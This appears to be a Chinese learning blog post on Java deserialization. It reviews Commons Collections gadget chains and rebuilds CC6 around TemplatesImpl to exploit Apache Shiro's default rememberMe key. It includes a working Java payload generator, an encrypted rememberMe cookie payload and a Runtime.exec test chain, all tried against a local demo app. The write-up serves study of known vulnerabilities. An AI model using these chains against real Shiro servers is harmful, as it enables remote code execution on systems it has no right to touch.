Shiro反序列化初探 CC6改TemplatesImpl
回顾
至此已经学习了urldns、cc1 tf、cc1 lz、cc6、cc3,当然urldns只算初探java反序列化,先做一个简单的总结回顾吧
cc1 tf
这是踏足java反序列化的第一条链子,也是我花时间最多的链子,麻烦的一批,它的执行点是InvokerTransformer,就像一个写好的后门,是梦的起点,这里我费好大力气分析通了数组中插入一条数据是怎么触发链子的,最麻烦的还是AnnotationInvocationHandler#readObject,是反序列化的起点,需要去反编译的代码里分析
它的历史任务是开启了java反序列化rce的篇章
但是这个反序列化的起点很快就被修复了,所以需要cc1 lz
反序列化#readObject->
AnnotationInvocationHandler#readObject(存在setValue)
MapEntry#setValue(存在checkSetValue)
transformedMap#checkSetValue(存在transform)
InvokerTransformer.transform(就可以调用任意方法执行任意操作)
cc1 lz
cc1 tf的触发需要写入数组,但是被修复了,lazymap中的get方法也可以触发到ChainedTransformer.transform(),所以我们重新寻找了哪里能触发get,发现cc1 tf的反序列化触发点AnnotationInvocationHandler中有一个invoke方法会调用get,而这个类还继承了InvocationHandler接口,所以我们能用==动态代理==的方法去触发这个invoke方法,而它的反序列化方法中的操作又恰好能让我们跳过种种判断成功触发get,这样一个cc1的升级版就完成了
它的历史任务是绕过了对cc1 tf反序列化触发点的修复。
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
cc6
Java 8u71以后,cc1就不能用了,这次对AnnotationInvocationHandler的readObject()进行了全面修复,所以需要新的反序列化触发点,这次就找到了TiedMapEntry简称tme,它的getValue方法也能调用lazymap的get方法,然后就是网上找调用链了
它的历史任务其实和cc1 lz类似,是完成了对==jdk高版本修复的绕过==,看起来是一条通杀的链子。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
cc3
cc3之前我们的反序列化链执行点都是InvokerTransformer,这里就产生了历史性变革,就是有了新的执行点:==字节码执行==,而且字节码执行的灵活性和危害更大,后半段链子直接改换了,执行的地方是TemplatesImpl。并且此时InvokerTransformer已经被一众waf拉黑,所以也急需其他的链条补充进来。
因为要对接上TemplatesImpl的newTransformer,所以前半段链子也进行了改变,找到了两个新的类InstantiateTransformer和TrAXFilter,然后再去往前承接TransformedMap->transformerChain
它的历史任务是开创了新的执行点和寻找了新的中间段的利用链。但是CC3依然有版本限制,是不能在8u71以上利用的
TransformedMap->transformerChain的transform->
InstantiateTransformer的transform -> TrAXFilter的构造函数->
-> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
至此可以发现这些利用链就像积木一样,或者更像那种玩具水管道,可以相互拼接,只要保证最终从反序列化触发点串联到执行点,就是一条可用的链子
接下来cc家族还有cc4、cc2、cc5还没学习,这里先初步接触shiro,以及学习如何灵活拼接这些链子。
p神的文章名字叫TemplatesImpl在Shiro中的利用,执行点应该就是cc3的后半段,前半段不知道进行了什么拼接。
shiro初识
对shiro的漏洞早有耳闻,16年的时候,shiro爆出了一个默认key的反序列化漏洞,它有一个rememberMe字段,在Shiro 1.2.4版本之前甚至是默认且固定的key,这个key应该就是用来对rememberMe传递的数据进行加密的,然后shiro会对解密以后的序列化数据进行反序列化,我们学了这么久的序列化,要是目标没有可用的反序列化点也是徒劳,shiro就提供了一个覆盖面很广的反序列化点,拿到key=rce
还是跟着p神的思路,他搭建了一个简单的应用使用了shiro
shiro-core、shiro-web,这是shiro本身的依赖
javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
commons-logging,这是shiro中用到的一个接口,不添加会爆
java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
我们使用mvn package 将项目打包成war包,放在Tomcat的webapps目录下。然后访问http://localhost:8080/shirodemo/ ,会跳转到登录页面
然后输入正确的账号密码,root/secret,成功登录
如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:
对此,我们攻击过程如下:
- 使用以前学过的CommonsCollections利用链生成一个序列化Payload
- 使用Shiro默认Key进行加密
- 将密文作为rememberMe的Cookie发送给服务端
使用p神编写的Client0.java进行poc生成,其中用到的Gadget是CommonsCollections6
eT1bVCfLiHPrJTVhv/gWzBH6SUzpRLrWlA60xJdES2eOue3OOsxFEwYku7JptstozSivxdWVqjVKNRHYLolrwnaNZdwt+1yXOKm7FblFuzvDHLMuKhm53QYAFz8ad4ps7zn6hSJ12E25AoNVhhJ0gZ2WC5UN+dJRSZDA4pp7b9Y+pgjdtAh5XkSKCPsAmRJZjjK7izFP1Z0PTUFRwylSygUsiR9yBvMz9Kd4pNRXjfmkZ4x3uPWL5wLzUrLdp+VI4758X9sh511TAsvVbisxbRZxnNdCcXBw/bkltk+sn5gRiSV2x4rcFH5WjbG+H3VI68V43wSaHJibzoYPoBDZyY12vf/od02gBLqqlw3dYLTag33BK277fG0QG5Vl1U8VwBJmhzTEW1ams8QIU6+KIY0ZUao5M46vNaMbIu+aslbeMn4dUcHD4a8Nf6fH2ZD+IQ0mn6gEiOgcEJ8FcgG0xDDggk4JbwEEwF9TUAakndu9c0F4jLE0ZGT2S8bwfkHezjoJ9XZ0Ri5O59/JkdfMd/lfJpWcv7aWrdRMJJwd+Yt3QHO71i84Muiv0NxRyoWwz0/63OwJx6hZJox7NlNu/kGaNURlnkznV1Lu8figas5aK7RxVXIwYdcO+K8feaNY5TptOmW95AcFMygViCFdBKjBn3WMDl3nznnkEd2k5snSdWPgZWh6V9finouHn5/l/y5K2DZeI/j8oQwnN3nbgBUHk1YaOwQffCDkgnUc7OLAQt+IUs3zEgqMFZEf5IsmGsBZpP3/BH68eNUUH1Rugn5kYmiT2bmTtOGZpDnwaWLQUc/Ijrcm+j7+6WvA28qVbUJfH+N8FXIcSUpaWaWil1nI3cycu4pnY9cQpJPKfWUA7R4RGMo9+5yyHPb/c/81+44SSaTMZL8NytrAHUDtD5AHF6couTmUH8pqy4SSmNWNKz6I2KiTHBKsuwYp7BPeL4RrZd7Qd2nWVgeCpx7A5TcaZrV5AK5ifwwgMs/dsNM+rLbxmVazez/CxL3+Z75JOGbm1CX98B+6ud3KLT96bhXPNdaTh8ENxR8Uy9Rs/tnr4Hxrk3hr2B4T0A30FKP7ifVIeYhYeRk6lLw2WR7RQtxlvrg7G1BKFS1XPR027WmX2Q4hnxKjlFN69yHf6RPyBTeWm8yDCZV5WTQvKGNBo6sxierS6pEKe8JVYjR5FZT46EkLCCbVaG1yttrILUC7LBtv0xVFmqqOz8/4DfzpytVVJaVsW1ikuVkk7ZkO4uDB2aGwkJreWCsHnzq9/7+R9EFiBbfzOMZL7vxrnLr3RaaXwstHc1DAJjsaSnQywetBoFukaNxl4PN7EbraCiFvgs2NbmDXhZS9y64p8wwdSPPYt8LXE26GhNG/57EhoN3h0kfKIS+QgG2dkQRP/lc90KtlCbDrrW2TCKqrByKFNTypnyBX5KJQ+P/qSZGVzI0rvqYlGxl40agWQ3SdKGAYz4X1Ur5qbuRGqd3oO5OIX09r4yeCaevBh7GFE+f8I+/flJRTfG0bNA13ezedv/JXEnBlrKsxR12dIbw7W+Na2RXdKHKPkL380IiXGgFYZjsMM3FyUA1nNHr89U8mOf+lsHharUasc/4S+NUxzpJHtUOyCyhR9m0b+cStVbHQ0Q5iGIpjt86SclcLlZXGt3I+290gqyI9JPtra8PsNkd7+KR4ECNfcSIcxvNTeY+kA2uAg0l+nu1Mc5jJEtq2Skk/
发送给shiro。结果并没有弹出计算器,而是Tomcat出现了报错
报错:
找到报错的org.apache.shiro.io.ClassResolvingObjectInputStream 。是一个ObjectInputStream的子类,其重写了resolveClass 方法:
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}
resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class 对象。
对比一下它的父类,也就是正常的ObjectInputStream 类中的resolveClass 方法:
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
可以发现这里重写的 resolveClass方法用了ClassUtils.forName,而他的父类用的是 Class.forName
在捕获异常的地方下断点看是哪个类报的异常
出异常时加载的类名为[Lorg.apache.commons.collections.Transformer;
结论
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
构造不含数组的反序列化Gadget
为解决这个问题,Orange在其文章中给出了使用JRMP的利用方法:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html。
这里还有其他方法
cc3中的TemplatesImpl可以执行字节码,使用TemplatesImpl.newTransformer
函数来动态loadClass
构造好的evil class bytes这部分利用链上是不存在数组类型的对象的。这里我们的后半段依然采用这个方法
那么,接下来的重点就是找一个如何触发TemplatesImpl.newTransformer
的方法了:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
而cc3是可以用InvokerTransformer去调用的
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
我们在cc3中没有用这种调用方式,而是寻找到两个新的类去触发
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
};
这里仍然用到了Transformer数组,不符合条件。
如何去除这一过程中的Transformer数组呢?wh1t3p1g在这篇文章里给出了一个行之有效的方法。
https://www.anquanke.com/post/id/192619
ChainedTransformer
这个类的利用是无法成功的,因为他的类属性iTransformers
是数组类型的Transformers
,也就是在执行过程中发生的ClassNotFoundException
。
我们一直以来的ChainedTransformer这个“得力助手”就直接被ban掉了
所以我们既不能从ChainedTransformer过去,又得找地方调用到TemplatesImpl.newTransformer
这里就用到了CC6中横空出世的tme(TiedMapEntry)
我们之前用tme的姿势是用它来调用LazyMap的get方法,这里再贴一张之前截的图
这里的map参数是LazyMap时,其get方法就是触发transform的关键点(CC6里)
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
再次借用P神的分析
我们以往构造CommonsCollections Gadget的时候,对LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演ConstantTransformer的角色——一个简单的对象传递者。
这里也是很好理解,ConstantTransformer是返回类里面构造好的一个对象,这里getkey依然可以完成这个功能,那么这里相当于ConstantTransformer“复活”了。再去看看别的地方是怎么打通的。
改造CC6为CC Shiro
首先还是创建TemplatesImpl 对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发:
Transformer transformer = new InvokerTransformer("getClass", null, null);
再把老的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl 对象:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
完整代码:
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
调试
让我们开始调试吧
又给我跳过断点,留意一下
这里的反序列化入口点用的是HashMap,梦回CC6
Map expMap = new HashMap();
......
oos.writeObject(expMap);
我是在lazymap的get方法开始打的断点,从这里看一下前面是怎么调过来的
在HashMap的readObject⽅法中,调⽤到了hash(key)
而hash⽅法中,调⽤到了key.hashCode() ,也就到了tme的hashCode()方法
hashcode进一步调用进getvalue,到这里和cc6的链子一样的
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
到这里马上要调用lazymap的get方法了,传入的key是TemplatesImpl对象!!!到这里就和cc6不一样了,感觉这一步也是最精髓的地方,在cc6里,这一步我们是传入ChainedTransformer去调用ChainedTransformer.transform()
而这里是借助InvokerTransformer来手动触发TemplatesImpl的newTransformer,毕竟这个类这里写的跟后门似的,感觉又回到了cc1
那为啥之前要走这么多步呢?我们之前是用ConstantTransformer拿对象,而这里要用的TemplatesImpl可以直接构建进去
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
这是我调试cc6时候的截图,之前的处理这个key完全没有利用到,只要调用进factory.transform() (transformerChain.transform),就可以拿到事先构造好的对象(用的是ConstantTransformer)
斯。。。我们到这里有两个执行命令的点,一个是TemplatesImpl执行动态字节码,另一个就是反射拿getRuntime对象,我比较好奇这里能不能传入getRuntime对象这么玩呢?
应该是可以的吧?但是不咋会写链子,一直跑不通,😥
public class test {
public static void main(String []args) throws Exception {
System.out.println(new test().getPayload());
}
public byte[] getPayload() throws Exception {
Class r = Runtime.class;
Method m = r.getMethod("getRuntime",null);
Runtime obj = (Runtime) m.invoke(null,null);
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
先到这里吧,后面还要做一件事,就是进去调试一下看看shiro是怎么对rememberMe进行处理的